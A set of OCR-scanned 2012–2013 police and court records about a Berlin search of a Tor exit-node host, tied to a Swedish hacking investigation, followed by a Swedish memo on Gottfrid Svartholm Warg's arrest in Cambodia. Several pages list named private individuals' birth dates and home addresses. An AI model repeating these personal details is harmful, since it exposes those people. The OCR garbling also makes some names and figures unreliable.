N e in Eingrifferm ächtigung 

Anordnung durch l 
Geschäftszeichen Kunert Richterin am AG Tg l (350 Gs) 283 AR 97/1 2 ( 1 766/1 2) 

G rund d.  Durchsuchung Auffinden von Beweismitteln 
Straftat bei 

Tatverdächtigen 

Ergebnis der 
Durchsuchung 

Zweck der MaBnahme 

es wohnten bei· 

AusfUhru ng ei ner Anord nung der Justizbehörde 

Die Durchsuch ung verlief ohne Ertalg 
· Beweissicherung 

KOK Borries, KKA Maka i ,  

Durchsuchung - 1 20807-1 530-035294 
Dokument erste l lt: 1 0 .08 .20 1 2  

Seite 1 von 
ged ruckt: 1 0 .08 .20 '  



LKA 335 - 1 20807- 1 530-035294 
PK Hohenste in ,  Tel :  +49 30 4664 933504 

3.1 .1 . Erklärung des Betroffeneo 
Durchsuchung wurde 
freiwil l ig gestattet Ja 

auf Hinzuziehung von Zeugen verzichtet Ja 
Mitnahme /  Beschädigungen Es ist n ichts mitgenommen u nd n ichts beschadigt worden 

3.2. Bericht 
Zum o .g. Zeitpunkt wurde m it den Kö l lege n KO K Borries u n d  KKA M a ka i  die o .g. Ansch rift a ufgesucht. 

Ziel  der M a iSn a h m e  war die Val l streckung des D u rchsuchu ngsbesc h l usses des Amtsgerichts 

Tie rga rtem. 

Bei dem Obj e kt h a nde lt es s icli u m  eine a lte lnd ustri e l i ege nschaft, die betroffene Firma befi ndet s ich 

i m  3 .  OG i m  H a us A. 

Be i  unse re m  E intreffen wurden wir von H e rrn P ro ! ! ,  La rs Da nie l 
19. 11 . 1981 in Berl i n  

Gosener  D a m m  19 
12559 Ber l in  Treptow-Köpe nick  

e m pfa nge n .  H e rr P ro ! !  tei l te u ns m it d a ss s ich Herr U l rich Ecka rd i n  New Yo rk a ufhä lt und er  in  dessen 

Vertret u n g  h andelt .  

H e rr Pro! ! g ing m it uns in  den h i nteren Be reich der  Buraetage zu e i nem Tec h n i ker .  

Bei d e m  Techn i ke r  hande lte es s ich um H errn  B lasche,  J a n  

30.05 .1978 i n  Lei nefe lde 

Ada l bertstr. 10 
10999 Ber l in Friedrichshain- Kreuzberg 

d u rch Hr .  P ro l l  wurde H r. Blasche de r D u rchsuchu ngs beschl uss ubergeben .  

N a ch d e m  Hr. Blasche d e n  Besch luss gelese n hatte, gab er o h n e  weite res zögern an,  dass  e s s ich 

da be i um e i ne n  Tor-Server hande lt .  

Al s Torserver beze ich n et m a n  Ano nym is ierungsserver .  Diese Se rve r h a be n  nur eine e inzige F u n kt ion 

s ie  d ienen dazu  die Verfo l g u ng e i n e s  N utzers im I nternet u n mögl ich zu machen.  Dazu surft der U ser 

z u e rst auf den Torserver und ka n n da n n  von dart a us jede bel ie be l nternetse ite bzw. I P-Ad resse 

a ufrufe n, ohne das n achvo l l ziehba r i st we r bzw. vo n  wo a us d i e  Se ite a ufge rufe n  wurde.  Dieser 

Serve rdienst wird kosten los zur VerfOgung gestel lt, da he r we rde n von dem Serverbetre iber  kei ner le i  

Daten e rhoben ode r gespei chert .  

Durchsuchung - 1 20807-1 530-035294 
Dokument erstellt : 1 0 .08.20 1 2  

Seite 2 von 
gedruckt: 1 0 .08 . 20 1  



d iarienr: 0201 -K8 1 864- 1 2  

Durch  H r. Blasche wurde e i n  Ausdruck vo n d e n  La ufze itdate n des Seve r gem acht. D a  d ieser Auszug 

n u r  die letzten 186 darste l lt wurde mit Hr .  Blasche verein ba rt, dass er noch e inen Auszug nach l iefert 
der  d ie komp lette La ufzeit bis zu m 01 .01 .2010 dokumentiert. 

U m 09 : 50 U hr endeten die M a fSnahmen .  

Durchsuchung - 1 20807-1 530-035294 
Dokument erstellt: 1 0 .08 .20 1 2  

Seite 3 von 
gedruckt: 1 0 .08 .201  
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LKA 335 

Vorgangs-N r. 1 20807-1 530-035294 

Dienststelle LKA 335 

Anschrift Martin-Luther-Str. 1 05 

1 0825 Berlin-Schöneberg 
Bearbeiter Hohenstein ,  PK 
Zimmer l Etage 469 l 4.0G 

Eingriffsermächtlgung: StPO 

Varmittiung 

Telefon 
Fax 
E-Mail 
Datum 
Internet 

I I I  

(030) 4664 • o 
(030) 4664 - 933504 
(030) 4664 - 933599 
Knut. Hohenstein@polizei . berl in.de 
Freitag , 1 O. August 201 2  

WNW.polizei.berl in .de 

Uh rzeit: 09:30 
Anordnung durch: Kunert Richterin am AG T g l (350 Gs} 283 AR 97/1 2 (1 76611 2) D we gen Gefahr im Verzuge 
Betroffener: Firma Speed bane Internet & Connectivty GmbH 
Ort der Ma Bnahme : 1 2 1 03 Berlin , Alboinstr. 36 

Örtl ichkeit: Geschäftsbau , BOroraum 

Die Unterzeichnenden haben heute talgende M a Bnahme(n} durchgefOhrt: 
Durchsuchungsgrund: Auffinden von Beweismitteln Die Durchsuchung fOhrte zur Auffindung von Be-

_D..:..ie..:..g:.:.e:.:.s..:..u..:..c:..:.ht::.:e..c:(n�)�Pc:..:e::.:rs.:..:o:.:.n..:..( e
:....:

n
.::.

)
:.:.

w
:.:..:u.::.r.::.de:...:.

(
.:.n.::.

) :..:..,;;:;:.a:.:n:.:.g::.e:.:.tr:.::off-=e.::..n:......_-=D=-n-i-ch_t_a_n_g_e-tr_o_ff_e--ln weis�itteln 1 Einzlehungs-Ne�g�genstär 

und ergriffen D Ja .l8J Nem · 

e (lmmer bel [2] bis [4]) D Sicherstel lung , weil D fre iwi l lig herausgegeben O gewah rsamslos 
· D lnverwahrungnahme D Sicherstel lung in  anderer Weis�e---� 

Es wohnten bel: 
KOK Borries, KKA Makai , 

KOK Borrfes - LKA 33 
Unterschrift - Amtsbezeichnung - Diens 

Erklärung des BEjlroffenen . ,, . ' . ' 

Ich habe die Durchsuchung )sffreiwil l ig gestatlet 
;Kf Auf die H inzuziehung von Zeugen habe ich verzichtet mEs ist nichts mitgenommen warden 

Ge 

O Bela 

ch ASOG/anderes Gesetz 

PK Hohenstein- LKA 335 
Unterschrift - Amtsbezeichnung - Dienststelle 

D nicht
. 
freiwi l l ig gestattet 

�s ist nichts beschädigt warden 

Ohrten Gegenstande erhebe ich 

D Mit der Aushä nd i g u ng der Gegen stände zu lfd. an den Berechtigten 

m���Hremem Brand- oder Explosionsort .!91:j{ll,tr!lf�rrnoer belehrt, dass a m  Ort bis zur Klarung der Sache 
eine Varänderungen vorgenommen werden d!.lrfen. (FOr Angaben Ober räumliche Begrenzungen Teil B benutzen) 

D erkläre ich mich nicht einverstanden ' l  

.lgung 

Unterschrift des Betroffenen oder eines Zeugen 



Bandwldth 

( 

r Tor Network Status -- Router Detai l  l 
General information 

Router Name: jabla 
Fingerprint: 01 EB 0769 F073 9B5F E49B A034 3E7F 0249 350A 0806 

Contact: <abuse AT tor-exit-node do! co do! cc> 

lP Address: 2 1 7. 1 3. 1 97.5 

Hostname: tor-exit-node.co.cc 
Onlon Router Port: 9001 

Directory Server Port: None 
Country Code: DE 

Plattorm l Version: Tor 0.2 . 2.35 (glt-73ff13ab3cc9570d) on Linux i686 
Last Descriptor Published (GMT): 201 2-08-09 1 4:34:08 

Current Uptime: 1 86 Day(s) , 1 5  Hour(s), 46 Minute(s) , 21 Second(s) 

Bandwldth (Max/Burst/Observed - In Bps): 1 664000 / 2097 1 52 / 1 275567 

Family: No lnfo Given 
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Förvaltningen för rättsväsende och konsu mentskydd 

Förvaltningen för rättsväsende och konsumentskydd 
Salzburger Str. 21 ·25 1 0825 Berlin 

Flygpostlexpress 
I nternationel la Åklagarkammaren 
Box 70296 
1 07 22 Stockholm 
SVE RIGE 

Referensnummer (ange al lt id) 
I l  CE 8 - 9352/E/1 050/201 2 
Handläggare : Konarski 
Telefon (O 30) 90 1 3 - 30 1 2 
(växel) 90 1 3-0 
(intern) 9 1 3  
Fax: 90 1 3-20 00 
Webb: www.berl in .de/senjust 
E-post: poststel le@senjust.berl in .de 
Datum :  17 september 201 2  

[stämpel : I nternationel la Åklagarl\ammaren Stockholm 
Ink. 20 1 2-09-25 
AM· 52 1 24- 1 2  
C 1 09-37 H nr.  254] 

Begäran om rättsl ig  hjälp i brottsärendet mot Mathias Gustafsson med flera 

Er skrivelse från den 1 4  jun i  201 2  - AM - 521 24 - 1 2  - ti l l  åklagarmyndigheten i Berl in 
3 bi lagor 

Jag översänder svaret från åklagarmyndigheten i Berl in från den 28 augusti 201 2 - 283 AR 
97/1 2 - jämte b i lagor .  

Den ovan nämnda begäran om rättsl ig hjälp jämte bi lagor b ifogas. 

Med vän l ig  hälsning 
På uppdrag av 
[namnteckn ing] 
Konarski 
[stämpel : o läsl ig) 

Trafikförbindelse [buss] 1 04, M 46 t i l l  Rathaus Schöneberg, [UJ  4 t i l l  Rathaus Schöneberg [promenad] [U]  7 til l Bayerischer Platz 
[promenad] I ngång till byggnaden Salzburger/hörnet Badensche Stral3e,  1 0825 Berlin·Schöneberg 
Betalning,  inte kontant, ti l l  Landeshauptkasse Berl in,  1 0789 Berl in , ti l l  ett av följande konton: 
Penninginstitut Kontonummer Clearingnummer Penninginstitut Kontonummer Clearingnummer 
Postbank Berlin 58 - 1 00 1 00 1 00 1 0  Deutsche 10 001 520 1 00 000 00 

Sundesbank 
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Åklagarmyndigheten i Berl in 
Åklagarmyndigheten i Berlin, 1 0548 Berlin, GSt: 283 

Åklagarmyndigheten i Stockholm 

Ange referensnummer vid svar 283 AR 97/12 

Kontor 
1 0557 Berlin , Kirchstr. 7 
Telefon direkt (030) 90 1 4  O 
Växel (030) 901 4  O 
Fax växel (030) 90 1 4  331 0  
E-post: poststelle@sta.berlin .de (inte för skrivelser med tidsfrister eller med formkrav) 
Datum: 201 2-08-28 

Er begäran om rättsl ig hjä lp  från den 1 4  juni  201 2 - referensnummer: AR-521 24-1 2 - i 
förundersökningen mot Mathias Gustafsson med flera 

Bi lagor: 8 dokument 

Med hänvisning ti l l  den ovan nämnda begäran om rättslig hjälp översänder jag information 
om hur undersökningarna har löpt och resultatet av dem . När det gäller l P-adressen 
2 1 7 . 1 3 . 1 97.5 handlar det om en s .k .  "målserver" som fungerar som en 
anonymiseringsserver .  Något som pekar ut vem som är användare e l ler i nnehavare t i l l  
anslutn ingen kunde inte h ittas . 

Med vän l ig hälsn ing 
(namnteckn ing] 
(Nie lsen ) 
Överåklagare 

[stämpel : ÅKLAGARMY N D I G H ET E N  BE RL IN] 

G 

Adress för brevförsändelser: 
1 0548 Berl in  
Adress för paketförsändelse r :  
Turmstr, 91 , 1 0559 Berlin 

Trafikförbindelser (ej Ingång utan hinder 
bindande) 
Bussarna 1 87 , 245, 1 23, M27, Wilsnacker Str. 4 
TXL;  U-Bh! 
Turmstr. ,  S-Bhf Bel levue 

Besökstider 

'\/�<1 
<] F;> 

t> v �  
S e rnantix 

Må, ti , to, fr kl. 08:30 - 1 5:00 
Må och fr kl. 08:30 - 1 3:00 
Fler tider efter 
överenskommelse 
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Styrkta kopior 

Tingsrätten Tiergarten 
Beslut 

[22] 

Referensnummer: (350 Gs) 283 AR 97/1 2 ( 1 766/1 2) Datum :  20 1 2-07-20 skB 

l förundersökningen mot 

Bro r  Olof Math ias Gustafsson ,  
Födelseuppgifter okända, 
Timmermansvägen 1 4 1 ,  771 51 Ludvika, 
m ed borgarskap i nte ang ivet, 

för överträdelse av dataskyddsrättsl iga bestämmelser 

förordnas,  på ansökan av åklagarmynd igheten i Berl in f rån 201 2-07- 1 8 enl igt  §§ 1 03,  1 05 i 
StPO (tyska straffprocessord ningen) , e n  h usrannsakan av bostads-, kontors och 
angränsande rum. 

t i l lhörande firman Speedbone Internet & Connectivity GmbH, Ulrich Eckard c/o 
Speedbone GmbH, Alboinstr. 36 -42, 1 21 03 Berli n  

eftersom omständigheter före l igger  a v  vi lka det  g år att s luta s i g  ti l l  att en husrannsakan leder 
ti l l  att bevismaterial h ittas , näml igen 

u pplysningar om användare e l ler  i nnehavare av anslutn ing via den tjänst som den berörda 
ställt den m isstänkta t i l l  förfogande, särskilt u ppg ifter om användare/in nehavare av 
anslutn ing  (adress,  tel efo n n u m m er,  bankkontoförbindelse, typ av använd tjänst) och övrig a  
kontakter som d e n  misstänkta har haft, särskilt dock l P-numret 2 1 7. 1 3 . 1 97.5.  s o m  kan 
kopplas t i l l  den misstänkta. 

G ärningspersonen är m isstänkt för överträdelse av dataskyddsbestämmelserna. Enl igt 
uppgifter från se svenska myndigheterna m isstänks han för följand e :  
Det fanns åtkomst ti l l  e n  Mainframe-dator som bedrevs a v  en privat f irma. P å  datorn fanns 
en stor mängd person- och u ppbördsuppg ifter från d e  svenska skattemyndigheterna 
ink lus ive skyddade personuppg ifter och f inansiel la d ata sparade.  Man fick l ikaledes åtkomst 
ti l l  stora mängder data t i l lhörande åklagarmyndigheten och pol isen .  Man fick i nte bara 
åtkomst t i l l  data utan det var också stora mängder som laddades ner.  

Fi lerna som man fick åtkomst t i l l  sku l le  kun n a  orsaka myndigheter,  företag och enski lda 
betydande skador. Til ls lag et,  som är föremål för  den fortsatta undersökningen,  är sanno l ikt 
d et mest tungt vägande !T-systemet kopplat t i l l  myndigheter. 

Rättsförvaltn ingen godkänner  begäran om rättslig hjälp.  

De ?erörda ges möj l igh et att undvika husrannsakan genom att frivi l l igt  utlämn a  ovan nä�nd��� l 
bev1sm ede l .  � <l � 

1 ' -�:�n�: ; . . , ' c;.  L 
'- - - - ---
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[23] 
Förordnandet av husrannsakan i nämnd omfattn ing är med avseende på anklagelsen och 
m isstankegraden skäl ig ,  särskilt är mi ldare åtgärder vid det aktuella läget i utredn i ngen inte 
riml iga.  

[namnteckning] 
Kunert 
Domare vid t ingsrätten 

l original med akten 
myndigheten/åklagarmyndigheten i Berl i n  
återsänds efter åtgärd 
Avde ln ing 350 

[namnteckn ing] 
Kunert 
Domare vid t ingsrätten 

[stämpe l : 25 ju l i  20 1 2  
[namnteckn ing ] 
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Pol ischefen i Berl in  
LKA 335 - 1 20807- 1 530-035294 
Poliskommissarie Hohenstein ,  Tfn :  +49 30 4664 933504 

Insatsrapport 
1 .  Händelsebeteckning 
Händelse/brott Verkstäl lande av beslut av rättsvårdande myndighet 
Til läggsbeteckning H US RANNSAKAN - EIL Tl häktingsärende (begäran om rättslig 

Försök 
1 .1 .  Händelseplats 

hjälp) 
N ej 

Gata Alboinstr. 36 
Postnummer ort/stadsdel 1 21 03 Berl in/Schöneberg 
Land Tyskland 
Förvaltningsområde Tempelhof-Schöneberg 
1 .1 .1 .  Närmare platsbeskrivning 
Plats I nternet 
1 .2. Händelsetidpun kt 
Börjat 
Slutat 
2. Berörda 

2.1 . Institution 

Fredag , 201 0-0 1 -0 1 
Söndag , 20 1 2-04- 1 5 

Firma 

Rättsnorm 

Polisdistrikt 4406 

Typ av institution 
Namn på institutionen 
Org a nisationsenhet 
2.1 . 1 . Adresser 
H uvudsäte 

Speedbene I nternet & Connectivity 

Postnummer o rt/stadsdel 
Land 
Förvaltningsområde 
2.1 .2. Representant 
2.1 .2.1 . Personuppgifter 

Albo instr. 36 
1 21 03 Berlin/Schöneberg 
Tyskland 
Tempelhof -Schöneberg 

Rättmätig identitet Eckard , Ulr ich 
Kön man 
3. sakförhål landet 

Rättsform GmbH 

Pol i sdistrikt 4406 

Genom ett avtal om rättsl i g  hjälp med Sverige agerade åklagarmyndigheten i Berl in  och 
beslutade om husrannsakan av bostads-,  kontors och angränsande rum ti l lhörande f irman 
Speedbone. Därvid ska al l  data s am l as i n  som fin n s  beträffande användandet av ip-adressen 
21 7 . 1 3 . 1 97.5 .  

[namnteckn ing] 
(Nam n ,  befattning) 

I nsatsrapport - 1 20807-1 530-035294 
Dokumentet skapat: 201 2-08-1 O 

r· -- -== · 

"\/D. <J 
J <l r> 

l> v� 
Semant!:'  

Sida 1 av 
Utskrift : 1 0 .08 .201 
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Pol ischefen i Berl i n  
LKA 335 - 1 20807- 1 530-035294 
Pol iskommissarie Hohenste in ,  Tfn : +49 30 4664 933504 

Husrannsakan 

1 . 1 .  Plats för husrannsakan 
Gata Alboinstr. 36 
Postnummer ort/stadsdel 1 21 03 Berl i n/Schöneberg 
Land Tyskland 
Förvaltningsområde Tempelhof -Schöneberg Polisdistrikt 4406 
1 .1 . 1 .  Närmare platsbeskrivning 
Plats kontorsbyggnad 
Rum kontorsrum 
Egennamn på platsen Speedbene 
Ljusförhål landena dagsljus 
Belysning bra belysn ing 
1 .2. Tidpu n kt för husrannsakan 
Börjat fredag , 20 1 2-08- 1 0 ,  kl .  09:30 
S lutat fredag, 201 2-08- 1 O 
2. Berörda 
2.1 . Institution 
Typ av institution 
Namn på institutionen 
Organisationsenhet 
2.1 . 1 . Adresser 

firma 
Speedbene I nternet & Connectivity 

Rättsform GmbH 

H uvudsäte Alboinstr. 36 
Postnummer ort/stadsdel 1 2 1 03 Berl in/Schöneberg 
Land Tyskland 
Förvaltningsområde T empelhof-Schöneberg Polisdistrikt 4406 

3. Uppgifter om husrannsakan 
I ngrepp med stöd av StPO Fara vid d röjsmål 
Förordnat av/ 

Nej 

referensnummer domare Kunert vid tingsrätten Tiergarten l (350 Gs) 283 AR 97/1 2 
( 1 766/1 2) 
Hitta bevismedel Orsak ti l l  husrannsakan 

Brottsmisstänktes brott 
Resu ltat av 
husrannsakan 

Verkstäl lande av beslut av rättsvårdande myndighet 

Syftet med åtgärden 
Husrannsakan avlöpte utan framgång 
Bevissäkring 

Närvarande Kriminalöverkommissarie Borries,  krim inalkommissarieaspirant Makai , rr:: 
Husrannsakan - 1 20807- 1 530-035294 
Dokumentet skapat : 201 2-08- 1 O 

. t>v� 
Semar.tix 

Sida 1 av 
Utskrift 1 0 .08 .20 
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Pol ischefen i Berl i n  
L KA  335 - 1 20807- 1 530-035294 
Pol iskommissarie Hohenstein,  Tfn :  +49 30 4664 933504 

3.1 .1 . Den berördas förklaring 

Husrannsakan t i l läts 
ske frivi l l igt 
Medtaget/skador 

3.2. Rapport 

avstods från 
Ja vittnesnärvaro v id husrannsakan 
I nget har medtag its och inget skadats 

Vid ovan nämnda t idpunkt uppsöktes ovan angivna adressen av kol legorna 
kriminalöverkommissarie Borries och kriminalkommissarieaspirant Makai . 

Ja  

Målet med åtgärden var att verkställa t ingsrätten Tiergartens beslut om h usrannsakan. 

Objektet är en industrifast ighet och det berörda företaget finns på fjärde våningen i hus A. 

Vid ankomsten möttes vi av Pro l l ,  Lars Daniel 
1 981 - 1 1 - 1 9  i Ber l in 
Gosener Damm 1 9  
1 2559 Berl in  Treptow-Köpenick 

Dan iel Proll meddelade oss att U l rich Eckard u ppehåller sig i New York och att han 
företräder honom . 

Daniel P ro l l  g ick med oss t i l l  de bakre delarna på kontorsplanet til l en  tekniker. 
Teknikern hette B lasche, Jan 

1 978-05-30 i Leinefelde 
Adalbertstr. 1 O 
1 0999 Berl in Friedrichshain-Kreuzberg 

Daniel Pro l l  överräckte beslutet om husrannsakan ti l l  Jan Blasche. 

Efter att Jan Blasche hade läst beslutet om husrannsakan uppgav han utan ytter l igare tvivel 
att det handlar om en  målserver. 

Man betecknar anonymiseringssarvrar som målservrar. Dessa servrar har bara en enda 
funktion .  De tjänar t i l l  att göra det omöj l igt att följa en användare i I nternet. Användaren 
surfar först in på målservem och kan därifrån öppna önskade webbsidor e l ler ip-adresser 
utan att det går att få reda på vem el ler varifrån webbsidan öppnades. Denna servertjänst 
stäl ls kostnadsfritt t i l l  förfogande. Därför samlar e l ler  sparar serverföretaget inga data. 

POL IKS handl ings identifier ing 

Husrannsakan - 1 20807- 1 530-035294 
Dokumentet skapat: 20 1 2-08- 1 O 

r -�.--·-, 
� '\:76.<1 � <J !> 

t> v� 
Se tnanti ;' 
Sida 2 av 

Utskrift 1 0. 08 .20 
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Polischefen i Berl i n  
LKA 335 - 1 20807- 1 530-035294 
Poliskommissarie Hohenste in ,  Tfn : +49 30 4664 933504 

Jan Blasche gjorde en  utskrift av servems körtider. Eftersom detta. utdrag endast visar de 
senaste 1 06 lovade Jan B lache att han skickar ännu ett utdrag som dokumenterar den 
kompletta körtiden från 201 0-0 1 -01 . 
Åtgärden avs lutades kl 09:50.  

[namnteckning] 
(Namn,  befattning) 

Husrannsakan - 1 20807- 1 530-035294 
Dokumentet skapat:  201 2-08- 1 O 

F-- · -==--
\?/j <J 

<1 � 
l> v� 

Semantix 

Sida 3 av 
Utskrift 1 0.08.20 
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Pol ischefe n i Berl i n  
LKA 335 

Händelsenummer: 

Arbetsplats 

Adress 

Handläggare 

Rum/våning 

1 20807- 1 530-035294 

LKA 335 

Martin-Luther-Sir. 1 05 

1 0825 Berlin-Schöneberg 

Hohenstein, poliskommissarie 

469/5 :e  våningen 

Växel 

Telefon Fax 
E-post 
Datum: 
W ebb: 

(030) 4664-0 
(030) 4664 - 933504 (030) 4664 - 933599 

knut.hohenstein@polizei. berl in .de 

fredagen den 1 0  augusti 20 1 2-
www.polizei.berlin .de 

Protokol l  för husrannsakan 
Ingrepp med stöd av: StPO Tidpunkt: 09:30 
Förordnat av: Kunert, domare vid tingsrätten TG/(350 Gs) 283 AR 97/1 2 ( 1 766/ 1 2) 
Berörd: Firma Speedbane I nternet & Connectivity GmbH 
Plats för åtgärden : Alboinstr. 36,  1 2 1 03 Berlin 
Närmare platsbeskrivning Kontorsbyggnad, kontorsrum 

[ j pga. fara vid dröjsmål 

De undertecknande har idag genomfört följande åtgärd( er) 
Orsak till husrannsakan : hitta bevismedel Husrannsakan ledde till att bevismedel/föremål för 

indrivning eller förverkande hittades 

De sökta personerna [X] påträffades [ J påträffades inte [ j ja [X] nej 
och greps 

Närvarande 
kriminalöverkommissarie Borries, kriminalkommissarieaspirant Makai 

Kriminalkommissarie Borries - LKA 335 
[namnteckning] 
Underskrift, befattning, arbetsplats 

Den berördas förklaring 
Jag har tillåtit husrannsakan [X] frivi l l igt 
[X] jag har avstått från närvaro av vittne 

[ ] ej frivi l ligt 

Poliskommissarie Hohenstein LKA 335 
[nam nteckning] Underskrift, befattning , arbetsplats 

[X] ingenting har medtagits [X] ingenting har skadats 

·· ffande förteckningen över beslagtagna föremål har jag 
] inva ·ngar [ J inga invändningar 
J Jag upplys rätt igheterna enligt § 98 i StPO (§ 98 StPO punkt 2 - ansökan om bekräftelse !rån domstol) 
l Beträffande genom en av de papper som är uppförda i förteckningen under det löpande nu 

[ ] överens [ ] ej överens 
l Jag upplystes om bestämmelsern · 1 33/1 36 StGB (§ 1 33 StGB förvaringsbrotrStGB - Tlberings-/sigillbrott) 

l Utlämnade av föremål under löpande nummer: n beh - · [ l accepterar jag [ ] accepterar jag inte 

J Utom rätts liga indrivningen av föremål  un apande nummer 
[ J accepterar ja ccepterar jag inte 

[ l Endast vid åtgärd en plats för brand och exp losion 
Jag upplystes inga förändringar får göras på platsen förrän ärendet utretts(för uppgifter om rumsl iga ) 

[namnteckning] 
U nderskrift av de berörda el ler ett vittne 

är jag 
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Hohenstei n Knut 
Från:  
Skickat :  
Till : 
Ämn e :  

Hej !  

jan@prosite.de 
Fredagen den 1 0  augusti 20 1 2 1 0 :50 
Hohenste in ,  Knut 
Målserver 

Som utlovat h ittar du  här långtidsstatusen för målservem med l P-adressen 2 1 7. 1 3 . 1 97.5 

http://atlas.torproject.org/#detai ls/0 1 E80769F0739B5FE49 BA0343E7F0249350AOBD6 

Av g rafiken "5 Years g raph" framg år att servern är igång sedan maj 201  O.  

Jag svarar g ärna på ytterl igare frågor. 

Med vän l ig hälsning 
Jan 

Speedbene I nternet & Connectivity G m bH 
Albo instrasse 36-42 
1 2 1 03 Berl i n - Tempelhof 
Tfn : + 49.302593730 
Fax: + 49.3025937353 

AG Berl i n  Charlottenburg , HRB 84734 m omsnummer:  DE22596805 1 
Laga domstol Berl i n  
Vd Erika Eckardt 
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Pol ischefen i Berl i n  
L KA  3 3 5  - 1 20807- 1 530-035294 
Poliskommissarie Hohenstein ,  Tfn : +49 30 4664 933504 

stutanteckning 

20 1 2-08-1 3 
k l .  07 : 1 5 

l enlighet med förordnandet av åklag armyndigheten i Berl i n  verkstäl ldes beslutet om 
husrannsakan h os företaget Speedbone I ntern et & Connectivity GmbH. 

Vid husrannsakan framkom att d et för den angivna ip-adressen handlar om en s .k .  
"målserver". Syftet med denna server är  att den ska fungera som en anonymiseringsserver. 
Användaren kopplar upp s ig t i l l  servern och kan efter att förbindelse har upprättas via denna 
server g å  i n  på varje annan ip-adress e l ler  webbsida .  

Följden ä r  att om någon g å r  in  p å  en  s i d a  o c h  m a n  v i l l  spåra vem s o m  besökt sidan så 
kom mer målservems ip-adress a l ltid att v isas och inte användarens verkl iga ip-adress. En  
m ålservartjänst är  g ratis och därför reg istreras inga uppg ifter om användarna. 

Av grafiken framgår att målservem är ute på nätet sedan maj 20 1 0. (se blad 33 i akten) 

l detta läge av utredn ingen skickas akten t i l lbaka ti l l  åklagarmyndigheten i Berl in .  

[namnteckn ing] 
(Namn,  befattning) 

POLIKS handl ingsidentif ier ing 

slutanteckning - 1 20807- 1 530-035294 
Dokumentet skapat : 201 2-08-1 O 

översättning 
ref.nr 
lZo3lC.2.b 
Stockholm 
20\2 1.0  I f  

Sida 1 av 
utskrift : 1 0 . 08.20 



Rikskriminalpol isen 
RKP-IT brott 
Christer Kågström 
Kriminalinspektör 

PM Kambodja 

PM 

Datum 
201 3-03 -22 

Kort sammanfattning av händelser i Kambodja. 

Diarienr {åberopas vid korresp) 
020 l K8 1 864- 1 2  

Den l 7 april 2009 dömdes Gottfrid Svartholm W arg får brott mot upphovsrätten till ett 
års fångelse. Gottfrid Svartholm W arg har inte infunnit sig för att avtjänat detta straff 
utan valt att lämna Sverige och bland annat de senaste åren befunnit sig i Phnom Phen, 
Kambodja. 
Gottfrid Svartholm W arg har med anledning av detta blivit Internationellt efterlyst. 

Den 29 augusti klockan 1 3 :33  (Thailländsk tid) meddelade sambandsmannen i Bangkok, 
Lennart Östberg att Gottfrid Svartholm W arg blivit lokaliserad till en lägenhet i centrala 
Phom Phem av Kambodjansk polis och de kommer inom kort att gripa honom. 

Den 30 augusti klockan 09 : 54 (Svensk tid) blev Paulo Zavala vid Rikskriminalen - En
heten för Internationellt Polissamarbete meddelad att Gottfrid Svartholm W arg är gripen i 
Phnom Phen. 

I samband med griparrdet av Gottfrid Svartholm W arg påträffades en stor mängd IT- ut
rustning. 

Kambodjanska polisen meddelade via Lennart Östberg att Gottfrid Svartholm W arg be
fann sig olovligen i landet då hans pass och visum har gått ut och skulle med anledning 
av det utvisas ur landet. 
Gottfrid Svartholm W arg blev satt i förvar i Phnom Phen och den Kambodjanska rikspo
lischefen var inkopplad i ärendet. 

Lennart Östberg meddelade via Paulo Zavala att han tillsammans med sin danska kollega 
kommer åka ned till Phnom Phen och göra en bedömning av situationen 

Efter besöket i Phnom Phen meddelade Lennart Östberg att Kambodjanska polisen hade 
resursbrist liksom sambandsmannakontoret i Bangkok. Med anledning av detta begärdes 
det hjälp av RKP IT -brott för biträda nere i Phnom Phen. 
Det som återstod innan utvisningen var att Sverige kunde garantera att Gottfrid Svart
holm W arg omhändertogs då han anlände till Svensk territorium. 

Den 3 1  augusti skrev Johan Grenfors, biträdande chef för Rikskriminalpolisen ett intyg 
med innehåll att Svensk polis garanterade ett omhändertagande då Gottfrid Svartholm 
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W arg anländer till Sverige. Brevet skickades ned per mail till Kambodja för vidare be
fordran till rikspolischefen, General Sok Phal. 

Den l september 201 2  åkte representanter från Sverige, (se nedan) till Phnom Phen 
Kambodja, via Thailand, Bangkok. 

Den 3 september 1 9 :25 (Kambodjansk tid) anlände undertecknad med personal till 
Phnom Phen. 
Dagen efter, träffade vi Kambodjanska polisen tillsammans med sambandsman Lennart 
Östberg. 

Den 4 september förevisades vi det beslag Kambodjansk polis tagit i samband med gri
pandet. Det var Gottfrid Svartholm W arg personliga ägodelar såsom kläder, böcker och 
en stor mängd !T-utrustning. Vi förevisades även den lägenhet Gottfrid Svartholm W arg 
förfogade över i Phnom Penh. Lägenheten var i fint skick men Gottfrid Svartholm W arg 
tillhörigheter fanns inte kvar. Allt hade blivit flyttade och förvarades i ett av polisen kon
tor i Phnom Phen. 

Kambodjanska polisen meddelade att de inte vill ha kvar Gottfrid Svartholm W arg tillhö
righeter utan detta skulle med till Sverige då han utvisades därifrån. 
Vi gjorde en förteckning över allt de hade tagit med sig till stationen och därefter medde
lades Gottfrid Svartholm W arg om detta. Han fick ta del av förteckningen samt god
känna och signera att materialet togs med till Sverige. Signering och dokumentation av 
detta gjordes av den Kambodjanska polisen. 

Under vår vistelse i Phnom Phem blev Anne Höglund och Tom Abrahamsson vid den 
Svenska ambassaden i Phnom Phen hela tiden informerad om situationen. 
Den Svenska ambassaden hade under vår vistelse kontakt med Gottfrid Svartholm W arg 
för att försäkra sig att han fick det han behövde, mat, dryck och information. Enligt dem 
var Gottfrid inte så talför men meddelade vid besöken att han hade det han behövde och 
bemöttes bra av den Kambodjanska polisen. 

Undertecknad med personal träffade inte Gottfrid Svartholm W arg förutom då han skulle 
signera godkännandet av det Kambodjanska beslaget. Undertecknad frågade hela tiden 
då tillfåll e gavs om Gottfrid Svartholm W arg hade det han behövde och hur hans hälsa 
var. Gottfrid svarade väldigt kort och ville inte prata men meddelade att han hade det 
under omständigheterna bra. Han fick mat, dryck och fick ta emot besök. 

Jag fick även löpande information under vår vistelse av de Kambodjanska polisen att 
Gottfrid Svartholm W arg fick det han behövde och att han hade det bra. 
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Den 1 1  september beslutades det att Gottfrid Svartholm W arg skulle lämna landet via 
Bangkok till Stockholm. Hemtransport skedde med hjälp av 2 stycken från KVS, krimi
nalvården. Med på flyget var undertecknad. 

Stockholm den 22 mars 20 1 3  

tJhrilvH\;vKo 
.. t> h' k ster agstrom f 

I Kambodja var fåljande representanter från Sverige 
Christer Kågström, Jesper Blomström och Joakim Persson. 
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Polisen 
National Bureau of lnvestigation 
Cyber Crime Unit 
Richard Ahlgren 

Detailed information of suspect 

